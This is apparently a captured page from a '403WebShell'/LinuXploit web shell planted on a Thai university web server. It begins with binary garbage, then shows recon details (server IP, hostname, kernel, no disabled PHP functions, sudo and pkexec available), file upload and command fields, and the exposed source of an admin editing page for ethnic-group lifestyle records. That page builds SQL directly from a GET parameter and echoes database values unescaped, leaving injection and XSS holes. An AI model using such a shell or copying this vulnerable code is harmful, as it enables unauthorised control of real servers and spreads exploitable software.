h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/trr/sample/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/trr/sample/lifestyle_edit.php
<?php include 'check_mode_admin.php';?>
<?php include 'admin_dbconnect.php';?>
<?php include 'header.php';?>

            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">แก้ไขข้อมูล</h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
            <div class="row">
                <div class="col-lg-12">
<?php
	$lifestyle_ethieGroup_id=$_GET['lifestyle_ethieGroup_id'];
	$strSQL = "SELECT * FROM lifestyle where lifestyle_ethieGroup_id=" . $lifestyle_ethieGroup_id ;
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");	
	if($objResult = mysql_fetch_array($objQuery))
	{
?>		
					<!--<form name="form1" method="post" action="person_edit_db.php">-->
					<form action="lifestyle_edit_db.php" method="post" enctype="multipart/form-data" name="form1" id="form1" accept-charset="UTF-8">
<img src="<?php echo $lifestyle_image_path . $objResult["lifestyle_photo"];?>" height="300">
<p>&nbsp;</p>
                                        <div class="form-group">
											<label>ประเภท</label>
                                            <select name="ref_lifestyleTypeMain_id" class="form-control" id="ref_lifestyleTypeMain_id">
<?php
	$strSQL2 = "SELECT * FROM ref_lifestyletype_main ORDER BY ref_lifestyleTypemain_id";
	$objQuery2 = mysql_query($strSQL2) or die ("Error Query [".$strSQL2."]");	
	if($objResult2 = mysql_fetch_array($objQuery2))
	{
		while ($objResult2)
		{
			if ($objResult2["ref_lifestyleTypemain_id"] == $ref_lifestyleTypeMain_id)
			{
?>
<option value="<?php echo $objResult2["ref_lifestyleTypemain_id"];?>" selected="selected"><?php echo $objResult2["ref_lifestyleTypemain_name"];?></option>
<?php			
			}
			else
			{
?>
<option value="<?php echo $objResult2["ref_lifestyleTypemain_id"];?>"><?php echo $objResult2["ref_lifestyleTypemain_name"];?></option>
<?php			
			}
			$objResult2 = mysql_fetch_array($objQuery2);
		}
	}
	else
	{
?>
<option value="0">ไม่มีข้อมูล</option>
<?php
	}
?>
                                          </select>
                                        </div>		
                                        <div class="form-group">
                                            <label>ชื่อกลุ่มชาติพันธุ์</label>
                                            <input name="lifestyle_ethicGroup_name" class="form-control" id="lifestyle_ethicGroup_name" value="<?php echo $objResult["lifestyle_ethicGroup_name"];?>">
                                        </div>					
                                        <div class="form-group">
                                            <label>ชื่อเรียกตนเอง</label>
                                            <input name="lifestyle_selfCall" class="form-control" id="lifestyle_selfCall" value="<?php echo $objResult["lifestyle_selfCall"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>ชื่อที่ผู้อื่นเรียก</label>
                                            <input name="lifestyle_otherCall" class="form-control" id="lifestyle_otherCall" value="<?php echo $objResult["lifestyle_otherCall"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>ภาษาที่ใช้พูดและเขียน</label>
                                            <input name="lifestyle_languages" class="form-control" id="lifestyle_languages" value="<?php echo $objResult["lifestyle_languages"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>มิติทางประวัติศาสตร์</label>
                                            <input name="lifestyle_historical" class="form-control" id="lifestyle_historical" value="<?php echo $objResult["lifestyle_historical"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>บทนำ</label>
                                            <input name="lifestyle_intro" class="form-control" id="lifestyle_intro" value="<?php echo $objResult["lifestyle_intro"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>ประวัติที่มา</label>
                                            <input name="lifestyle_history" class="form-control" id="lifestyle_history" value="<?php echo $objResult["lifestyle_history"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>วิถีชีวิต</label>
                                            <input name="lifestyle_humanLife" class="form-control" id="lifestyle_humanLife" value="<?php echo $objResult["lifestyle_humanLife"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>ครอบครัวและระบบเครือญาติ</label>
                                            <input name="lifestyle_relative" class="form-control" id="lifestyle_relative" value="<?php echo $objResult["lifestyle_relative"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>การนับญาติ/การเรียกชื่อ</label>
                                            <input name="lifestyle_relativName" class="form-control" id="lifestyle_relativName" value="<?php echo $objResult["lifestyle_relativName"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>การแต่งกาย</label>
                                            <input name="lifestyle_costume" class="form-control" id="lifestyle_costume" value="<?php echo $objResult["lifestyle_costume"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>บ้าน</label>
                                            <input name="lifestyle_houseStyle" class="form-control" id="lifestyle_houseStyle" value="<?php echo $objResult["lifestyle_houseStyle"];?>">
                                        </div>			
                                        <div class="form-group">
                                            <label>การเกิด</label>
                                            <input name="lifestyle_birth" class="form-control" id="lifestyle_birth" value="<?php echo $objResult["lifestyle_birth"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>การแต่งงาน</label>
                                            <input name="lifestyle_marriage" class="form-control" id="lifestyle_marriage" value="<?php echo $objResult["lifestyle_marriage"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>การขึ้นปีใหม่</label>
                                            <input name="lifestyle_newyear" class="form-control" id="lifestyle_newyear" value="<?php echo $objResult["lifestyle_newyear"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>ประเพณีนอนหาด</label>
                                            <input name="lifestyle_beach_tradition" class="form-control" id="lifestyle_beach_tradition" value="<?php echo $objResult["lifestyle_beach_tradition"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>lifestyle_religion_trust</label>
                                            <input name="lifestyle_religion_trust" class="form-control" id="lifestyle_religion_trust" value="<?php echo $objResult["lifestyle_religion_trust"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>lifestyle_thaiGhost_tradition</label>
                                            <input name="lifestyle_thaiGhost_tradition" class="form-control" id="lifestyle_thaiGhost_tradition" value="<?php echo $objResult["lifestyle_thaiGhost_tradition"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>วิญญาณและสิ่งศักดิ์สิทธิ์</label>
                                            <input name="lifestyle_spirit_sacred" class="form-control" id="lifestyle_spirit_sacred" value="<?php echo $objResult["lifestyle_spirit_sacred"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>พิธีกรรมสำคัญ</label>
                                            <input name="lifestyle_rite" class="form-control" id="lifestyle_rite" value="<?php echo $objResult["lifestyle_rite"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>ดนตรีและศิลปะการแสดง</label>
                                            <input name="lifestyle_music_arts" class="form-control" id="lifestyle_music_arts" value="<?php echo $objResult["lifestyle_music_arts"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>เพลง</label>
                                            <input name="lifestyle_song" class="form-control" id="lifestyle_song" value="<?php echo $objResult["lifestyle_song"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>ตำนาน</label>
                                            <input name="lifestyle_legend" class="form-control" id="lifestyle_legend" value="<?php echo $objResult["lifestyle_legend"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>สถานกาณ์ปัจจุบัน</label>
                                            <input name="lifestyle_situation" class="form-control" id="lifestyle_situation" value="<?php echo $objResult["lifestyle_situation"];?>">
                                        </div>		
                                        <div class="form-group">
                                            <label>การเปลี่ยนแปลงและปัญหาที่ประสบอยู่</label>
                                            <input name="lifestyle_changes_problems" class="form-control" id="lifestyle_changes_problems" value="<?php echo $objResult["lifestyle_changes_problems"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>การรวมกลุ่มและสร้างเครือข่าย</label>
                                            <input name="lifestyle_networking" class="form-control" id="lifestyle_networking" value="<?php echo $objResult["lifestyle_networking"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>ref_lifestyle_pop_id</label>
                                            <input name="ref_lifestyle_pop_id" class="form-control" id="ref_lifestyle_pop_id" size="4" maxlength="4" value="<?php echo $objResult["ref_lifestyle_pop_id"];?>">
                                        </div>	
                                        <div class="form-group">
                                            <label>ref_lifestyle_ref_id</label>
                                            <input name="ref_lifestyle_ref_id" class="form-control" id="ref_lifestyle_ref_id" size="4" maxlength="4" value="<?php echo $objResult["ref_lifestyle_ref_id"];?>">
                                        </div>																														
                                        <div class="form-group">
                                            <img src="<?php echo $lifestyle_image_path . $objResult["lifestyle_photo"];?>" height="100">
                                        </div>											
										<div class="form-group">
                                            <label>ถ้าต้องการเปลี่ยนรูปภาพ กรุณาเลือกไฟล์</label>
											<input name="lifestyle_photo" type="file" id="lifestyle_photo">										
										</div>
										<div class="form-group">
											&nbsp;
										</div>
                                        <div class="form-group">
											<input name="submit" type="submit" id="submit" value="บันทึกข้อมูล" class="btn btn-success">
											&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
											<a href='javascript:history.back(1);'><button type="button" class="btn btn-warning">ยกเลิกการแก้ไข</button></a>
											<input name="lifestyle_ethieGroup_id" type="hidden" id="lifestyle_ethieGroup_id" value="<?php echo $objResult["lifestyle_ethieGroup_id"];?>">
                                        </div>	
					</form>
<?php
	}
	else
	{
		echo "ไม่พบข้อมูล";
	}
?>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->

<?php include 'sidebar.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit